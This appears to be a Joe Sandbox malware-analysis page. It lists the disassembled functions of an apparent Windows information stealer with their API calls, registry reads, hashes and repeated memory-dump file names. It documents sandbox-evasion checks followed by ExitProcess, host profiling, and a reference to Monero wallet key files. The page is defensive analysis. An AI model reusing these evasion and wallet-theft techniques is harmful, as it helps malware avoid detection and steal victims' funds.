Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: dcd846c431be055b12c7dc645588762b403df7a07b28172c7c90d7c65244c65c
Instruction ID: b0a3d0907d4ae1704552d510933f6e2442744c87158757e2ffc2b3dcd21e2c72
Opcode Fuzzy Hash: dcd846c431be055b12c7dc645588762b403df7a07b28172c7c90d7c65244c65c
Instruction Fuzzy Hash: 22311BB4A40218ABEB24CF54DC88BDDB7B4EB48704F1081D8F60AA7284D7706EC58F98

Function 010183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
wsprintfA.USER32 ref: 01018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
RegCloseKey.ADVAPI32(00000000), ref: 0101848C
RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

RegQueryValueExA.KERNEL32(00000000,0186E320,00000000,000F003F,?,00000400), ref: 010184EC
lstrlen.KERNEL32(?), ref: 01018501
RegQueryValueExA.KERNEL32(00000000,0186E2A8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,01020B34), ref: 01018599
RegCloseKey.KERNEL32(00000000), ref: 01018608
RegCloseKey.ADVAPI32(00000000), ref: 0101861A

Strings

%s\%s, xrefs: 0101844D

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c26e8c23a36654acf1c1f5858c72352424d57a824d8d554991a96f2ebb1e09e3
Instruction ID: eff8a264892d7bd5b7cb31dd9ff89c54c9736f7aa90845de5c13d17bfbf4a365
Opcode Fuzzy Hash: c26e8c23a36654acf1c1f5858c72352424d57a824d8d554991a96f2ebb1e09e3
Instruction Fuzzy Hash: 05212775A40228ABEB24DB54DC84FE9B3B8FB48700F00C5D9E64AA7144DF756A85CFD4

Function 01017690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010176A4
RtlAllocateHeap.NTDLL(00000000), ref: 010176AB
RegOpenKeyExA.KERNEL32(80000002,0185C090,00000000,00020119,00000000), ref: 010176DD
RegQueryValueExA.KERNEL32(00000000,0186E218,00000000,00000000,?,000000FF), ref: 010176FE
RegCloseKey.ADVAPI32(00000000), ref: 01017708

Strings

Windows 11, xrefs: 010176BD

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: f6c01c4fb536ac038345e274610e746d7ca18c20ce5ae00d4317012f77c3db0a
Instruction ID: 13c65a413dbd46b8b392ca4c179bd82d4fd22ea47a6fa5431dcbde43162119c0
Opcode Fuzzy Hash: f6c01c4fb536ac038345e274610e746d7ca18c20ce5ae00d4317012f77c3db0a
Instruction Fuzzy Hash: 6401FFB9A80204BBE720DBE4E94DFADB7BCEB48701F104494FA4697288E67499048B50

Function 01017720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017734
RtlAllocateHeap.NTDLL(00000000), ref: 0101773B
RegOpenKeyExA.KERNEL32(80000002,0185C090,00000000,00020119,010176B9), ref: 0101775B
RegQueryValueExA.KERNEL32(010176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0101777A
RegCloseKey.ADVAPI32(010176B9), ref: 01017784

Strings

CurrentBuildNumber, xrefs: 01017771

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 4d86d2c85e0ecb23da48844b16cf795e08ebd636715ed044a011fb9d8096b385
Instruction ID: 2bc16563b04d85614a43a822f773e679fec8d30c36dad30de79cafd744741dd9
Opcode Fuzzy Hash: 4d86d2c85e0ecb23da48844b16cf795e08ebd636715ed044a011fb9d8096b385
Instruction Fuzzy Hash: 4101F4B9A40308BBE710DBE4EC4DFAEB7B8EB48705F104559FA06A7285D67456008F51

Function 010140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 010140D5
RegOpenKeyExA.KERNEL32(80000001,0186D968,00000000,00020119,?), ref: 010140F4
RegQueryValueExA.ADVAPI32(?,0186DBE8,00000000,00000000,00000000,000000FF), ref: 01014118
RegCloseKey.ADVAPI32(?), ref: 01014122
lstrcat.KERNEL32(?,00000000), ref: 01014147
lstrcat.KERNEL32(?,0186DE10), ref: 0101415B

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: ca7155a6982f691579d4e3be169b9fbf1cbf457d51e0169fb1254402743fb1b7
Instruction ID: 49cbc515b52a47411aba1aa21fc9ffc105804554051446bad57d2a46e53bca1e
Opcode Fuzzy Hash: ca7155a6982f691579d4e3be169b9fbf1cbf457d51e0169fb1254402743fb1b7
Instruction Fuzzy Hash: EF41ECBAD40108ABDB24EBA0EC49FFE377DBB58300F04455CA7565B1C4EA759B888BD1

Function 010169F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862278), ref: 010198A1
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862140), ref: 010198BA
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01861FD8), ref: 010198D2
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,018621A0), ref: 010198EA
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862158), ref: 01019903
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01868E10), ref: 0101991B
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01856830), ref: 01019933
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,018566F0), ref: 0101994C
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,018621D0), ref: 01019964
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862170), ref: 0101997C
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862248), ref: 01019995
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862260), ref: 010199AD
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01856730), ref: 010199C5
Part of subcall function 01019860: GetProcAddress.KERNEL32(74DD0000,01862188), ref: 010199DE

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 010011D0: ExitProcess.KERNEL32 ref: 01001211

Part of subcall function 01001160: GetSystemInfo.KERNEL32(?), ref: 0100116A
Part of subcall function 01001160: ExitProcess.KERNEL32 ref: 0100117E

Part of subcall function 01001110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0100112B
Part of subcall function 01001110: VirtualAllocExNuma.KERNEL32(00000000), ref: 01001132
Part of subcall function 01001110: ExitProcess.KERNEL32 ref: 01001143

Part of subcall function 01001220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0100123E
Part of subcall function 01001220: __aulldiv.LIBCMT ref: 01001258
Part of subcall function 01001220: __aulldiv.LIBCMT ref: 01001266
Part of subcall function 01001220: ExitProcess.KERNEL32 ref: 01001294

Part of subcall function 01016770: GetUserDefaultLangID.KERNEL32 ref: 01016774

Part of subcall function 01001190: ExitProcess.KERNEL32 ref: 010011C6

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01868DD0,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01016AE8
CloseHandle.KERNEL32(00000000), ref: 01016AF9
Sleep.KERNEL32(00001770), ref: 01016B04
CloseHandle.KERNEL32(?,00000000,?,01868DD0,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016B1A
ExitProcess.KERNEL32 ref: 01016B22

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 417215afc5a8c3ebc86be3549f38e13bc4164e146c00a088f1d646007939a0f9
Instruction ID: 12e71dcaa3d088fd9470af5eab702135a2a5402978b34473a216baf61c530cc7
Opcode Fuzzy Hash: 417215afc5a8c3ebc86be3549f38e13bc4164e146c00a088f1d646007939a0f9
Instruction Fuzzy Hash: 2C315E75A4020AABEB15F7F0EC55BEE7778AF24310F004518F583A7188DF786545CBA0

Function 010099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
LocalFree.KERNEL32(0100148F), ref: 01009A90
CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: daf45d9e8723ca62085467f4172bffa9ecfb4e85fec9bbab20f189dc63ec9561
Instruction ID: 7497f9a5d68b250620c3e4aa8355c6436260ec9b3976aa89cbf54da513d2f83c
Opcode Fuzzy Hash: daf45d9e8723ca62085467f4172bffa9ecfb4e85fec9bbab20f189dc63ec9561
Instruction Fuzzy Hash: F2311C74A00209EFEF25CF94D949BAE77F5FF49354F104198E906A7284D774A981CFA0

Function 01014780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0186DCF0), ref: 010147DB

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014801
